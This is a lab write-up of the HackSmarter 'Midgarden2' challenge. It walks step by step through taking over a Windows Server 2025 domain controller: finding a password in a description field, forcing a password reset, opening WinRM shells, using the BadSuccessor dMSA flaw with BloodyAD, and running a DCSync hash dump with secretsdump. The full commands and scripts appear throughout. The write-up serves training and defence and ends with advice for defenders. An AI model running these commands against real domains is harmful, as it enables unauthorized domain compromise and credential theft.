Midgarden2

Published: January 2026 | HackSmarter Labs

Platform: HackSmarter Labs
Difficulty: Hard
OS: Windows Server 2025 (Domain Controller)
Key Topics: BloodHound, BadSuccessor (CVE-2025), dMSA Exploitation, DCSync

Disclaimer: This walkthrough documents techniques used during an authorized penetration testing engagement. The methods described should only be used in controlled lab environments or with explicit written authorization. Unauthorized access to computer systems is illegal.

Overview

As a member of the Hack Smarter Red Team, the objective is to conduct a comprehensive penetration test of the client's internal environment. The client has a mature security posture with prior penetration testing experience. The goal is to identify overlooked attack vectors.

Starting Credentials: freyja:Fr3yja!Dr@g0n^12

Reconnaissance

[Step 1] Credential Validation

First, I validated the provided credentials using NetExec to confirm domain access:

$ nxc smb 10.1.17.238 -u freyja -p 'Fr3yja!Dr@g0n^12'
SMB   10.1.17.238  445  MIDGARDDC  [+] yggdrasil.hacksmarter\freyja:Fr3yja!Dr@g0n^12

[Step 2] Port Scan

A comprehensive port scan revealed the target is a Windows Server 2025 Domain Controller:

$ nmap -p- -T4 -sC -sV -Pn 10.1.17.238

Key findings from enumeration:

Domain: yggdrasil.hacksmarter
DC: MidgardDC.yggdrasil.hacksmarter
Windows Server 2025 - This is significant for the attack path

Note: Windows Server 2025 introduces new features like delegated Managed Service Accounts (dMSAs), which as we will see, can be exploited using the BadSuccessor vulnerability.

Domain Enumeration

[Step 3] User Enumeration

During user enumeration, I discovered a password stored in a user description field - a common misconfiguration:

$ nxc smb 10.1.17.238 -u freyja -p 'Fr3yja!Dr@g0n^12' --users

Thor user has password in description field

[Step 4] BloodHound Collection

With Thor's credentials, I collected domain data for BloodHound analysis:

$ nxc ldap 10.1.17.238 -u Thor -p '[REDACTED]' --bloodhound --collection All

[Step 5] Attack Path Analysis

BloodHound revealed a clear attack path. Thor has ForceChangePassword rights over the Hodr account:

Thor can force change Hodr's password

Further analysis showed that Hodr is a member of Remote Management Users, enabling WinRM access to the Domain Controller:

Hodr is member of Remote Management Users

Lateral Movement

[Step 6] Password Reset

Using Thor's ForceChangePassword privilege, I reset Hodr's password:

$ net rpc password 'Hodr' 'Zerotrace123!' -U 'yggdrasil.hacksmarter'/'Thor'%'[REDACTED]' -S MidgardDC.yggdrasil.hacksmarter

[Step 7] WinRM Shell

With the new password, I established a WinRM session as Hodr:

$ evil-winrm -i 10.1.17.238 -u Hodr -p 'Zerotrace123!'

*Evil-WinRM* PS C:\Users\Hodr.YGGDRASIL\Documents>

User flag: C:\Users\Hodr.YGGDRASIL\Desktop\user.txt

Privilege Escalation: BadSuccessor Attack

[Step 8] dMSA Discovery

Exploring the system, I found PowerShell scripts for dMSA management in C:\scripts:

*Evil-WinRM* PS C:\scripts> .\dmsa_find.ps1

[*] Retrieving all dMSAs from the domain...
Name          : svc_iis_dMSA$
Enabled       : True
Delegation    : Legacy / Not Delegated

What is a dMSA (Delegated Managed Service Account)?

dMSAs are a new feature in Windows Server 2025 designed to replace legacy service accounts. They automatically rotate passwords and can inherit permissions from predecessor accounts during migration. This "inheritance" mechanism is the core of the BadSuccessor vulnerability.

[Step 9] Understanding the BadSuccessor Vulnerability

The BadSuccessor vulnerability (discovered by Akamai researcher Yuval Gordon in May 2025) exploits a critical flaw in dMSA migration:

dMSAs have an attribute msDS-ManagedAccountPrecededByLink pointing to legacy accounts
The msDS-DelegatedMSAState attribute indicates migration status
The KDC blindly trusts these attributes without validation
Anyone who can create a dMSA or modify these attributes can impersonate ANY user

Attack Requirements:

CreateChild permission on an OU
OR GenericAll/WriteDACL on an OU
OR WriteProperty on an existing dMSA

[Step 10] Finding Vulnerable OUs

I enumerated OUs to find where we have the necessary permissions:

Import-Module ActiveDirectory

$OUs = Get-ADOrganizationalUnit -Filter * -Properties nTSecurityDescriptor

foreach ($OU in $OUs) {
    $acl = Get-Acl "AD:$($OU.DistinguishedName)"
    foreach ($ace in $acl.Access) {
        if ($ace.ActiveDirectoryRights -match "CreateChild|GenericAll|WriteDACL|WriteOwner") {
            if ($ace.IdentityReference -match "Hodr|webServerAdmins") {
                Write-Host "[!] $($ace.IdentityReference) has $($ace.ActiveDirectoryRights) on $($OU.DistinguishedName)"
            }
        }
    }
}

webServerAdmins has CreateChild on Web Servers OU

The webServerAdmins group (which Hodr is a member of) has CreateChild permissions on the "Web Servers" OU - exactly what we need for the BadSuccessor attack.

[Step 11] Automated Check with NetExec

NetExec has a built-in module to check for BadSuccessor vulnerability:

$ nxc ldap 10.1.17.238 -u Hodr -p 'Zerotrace123!' -M badsuccessor

NetExec confirms BadSuccessor vulnerability

[Step 12] Exploitation with BloodyAD

First, I installed BloodyAD for the exploitation:

$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip install bloodyad

Then created a malicious dMSA that inherits Administrator privileges:

$ bloodyAD -d yggdrasil.hacksmarter -u 'Hodr' -p 'Zerotrace123!' \
    --host MIDGARDDC.yggdrasil.hacksmarter \
    add badSuccessor evil_dmsa1 \
    --ou 'OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter'

BloodyAD successfully creates malicious dMSA

The tool outputs a Kerberos ccache file with Administrator privileges, ready for immediate use.

Post-Exploitation

[Step 13] Kerberos Configuration

To use the obtained Kerberos ticket, I configured the local Kerberos environment:

$ sudo apt install krb5-user

Configure /etc/krb5.conf:

[libdefaults]
    default_realm = YGGDRASIL.HACKSMARTER
    rdns = false
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    YGGDRASIL.HACKSMARTER = {
        kdc = MIDGARDDC.yggdrasil.hacksmarter
        admin_server = MIDGARDDC.yggdrasil.hacksmarter
    }

[domain_realm]
    .yggdrasil.hacksmarter = YGGDRASIL.HACKSMARTER
    yggdrasil.hacksmarter = YGGDRASIL.HACKSMARTER

Update /etc/hosts:

10.1.66.173     yggdrasil.hacksmarter MidgardDC MidgardDC.yggdrasil.hacksmarter

[Step 14] DCSync Attack

With the malicious dMSA ticket, I performed a DCSync attack to dump all domain secrets:

$ export KRB5CCNAME=evil_dmsa1_Pv.ccache

$ secretsdump.py -k -no-pass 'yggdrasil.hacksmarter/evil_dmsa1$'@MidgardDC.yggdrasil.hacksmarter

What is DCSync?

DCSync abuses domain replication protocols to request password hashes from a Domain Controller, effectively extracting the entire NTDS.dit database remotely. It requires Replicating Directory Changes (All) permissions, which domain controllers and certain privileged accounts possess. The malicious dMSA inherits these permissions from the Administrator account.

Root Flag

[Step 15] Domain Admin Access

Using the extracted Administrator NTLM hash, I established a privileged session:

$ evil-winrm -i 10.1.17.238 -u Administrator -H '[REDACTED]'

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt

Administrator shell access

Tools Used

NetExec (nxc)
BloodHound
Evil-WinRM
BloodyAD
Impacket secretsdump.py

Attack Chain Summary

Credential Discovery: Found Thor's password in user description field
BloodHound Analysis: Identified Thor -> Hodr password reset path
WinRM Access: Gained shell as Hodr via Remote Management Users
BadSuccessor Exploitation: Created malicious dMSA with CreateChild permissions
DCSync: Dumped domain secrets using inherited privileges
Domain Admin: Full compromise achieved

Lessons Learned

For Defenders

Never store passwords in AD description fields - This is a common misconfiguration easily detected by attackers
Audit ACLs on OUs - CreateChild permissions can enable devastating attacks like BadSuccessor
Monitor dMSA creation - New dMSAs should trigger security alerts, especially if created by non-admin accounts
Windows Server 2025 introduces new attack surfaces - Stay updated on emerging vulnerabilities like BadSuccessor
Defense in depth - Multiple controls are needed to prevent privilege escalation chains

For Pentesters

Always enumerate AD description fields for credentials
BloodHound remains essential for identifying attack paths
New Windows features often introduce new attack vectors
Stay current with CVE disclosures and tooling updates

References

Walkthrough by Zerotrace | HackSmarter Labs